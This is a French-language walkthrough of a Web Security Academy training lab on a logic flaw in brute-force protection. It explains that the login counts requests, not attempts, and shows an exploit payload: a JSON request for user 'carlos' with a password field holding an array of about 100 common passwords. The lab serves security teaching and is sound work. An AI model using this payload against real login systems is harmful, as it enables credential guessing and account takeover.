Protection cassée : plusieurs identifiants par requête

Broken brute-force protection, multiple credentials per request

Lab: Broken brute-force protection, multiple credentials per request | Web Security AcademyWebSecAcademy

Ce laboratoire présente une faille logique dans le mécanisme de protection contre les attaques par force brute. L’objectif est de retrouver le mot de passe de l’utilisateur Carlos et d’accéder à sa page My account.

• Utilisateur cible : carlos

• Liste de mots de passe candidats : fournie par le laboratoire

• Point d’entrée : formulaire de connexion

Authentication lab passwords | Web Security AcademyWebSecAcademy

Observation du fonctionnement

Lors de l’analyse du formulaire de connexion, on constate que la requête envoyée au serveur est au format JSON, avec les champs suivants :

{
    "username":"carlos",
    "password":"password"
}

La protection anti-bruteforce semble reposer sur le nombre de requêtes HTTP envoyées, et non sur le nombre de tentatives de mots de passe réellement testées.

Exploitation de la faille logique

Au lieu d’envoyer une requête par mot de passe, il est possible de transmettre plusieurs mots de passe dans une seule requête, en utilisant un tableau JSON pour le champ password.

{
  "username": "carlos",
  "password": ["123456","password","12345678","qwerty","123456789","12345","1234","111111","1234567","dragon","123123","baseball","abc123","football","monkey","letmein","shadow","master","666666","qwertyuiop","123321","mustang","1234567890","michael","654321","superman","1qaz2wsx","7777777","121212","000000","qazwsx","123qwe","killer","trustno1","jordan","jennifer","zxcvbnm","asdfgh","hunter","buster","soccer","harley","batman","andrew","tigger","sunshine","iloveyou","2000","charlie","robert","thomas","hockey","ranger","daniel","starwars","klaster","112233","george","computer","michelle","jessica","pepper","1111","zxcvbn","555555","11111111","131313","freedom","777777","pass","maggie","159753","aaaaaa","ginger","princess","joshua","cheese","amanda","summer","love","ashley","nicole","chelsea","biteme","matthew","access","yankees","987654321","dallas","austin","thunder","taylor","matrix","mobilemail","mom","monitor","monitoring","montana","moon","moscow"]
}

Le serveur accepte la requête et teste l’ensemble des mots de passe contenus dans le tableau, sans déclencher de mécanisme de blocage.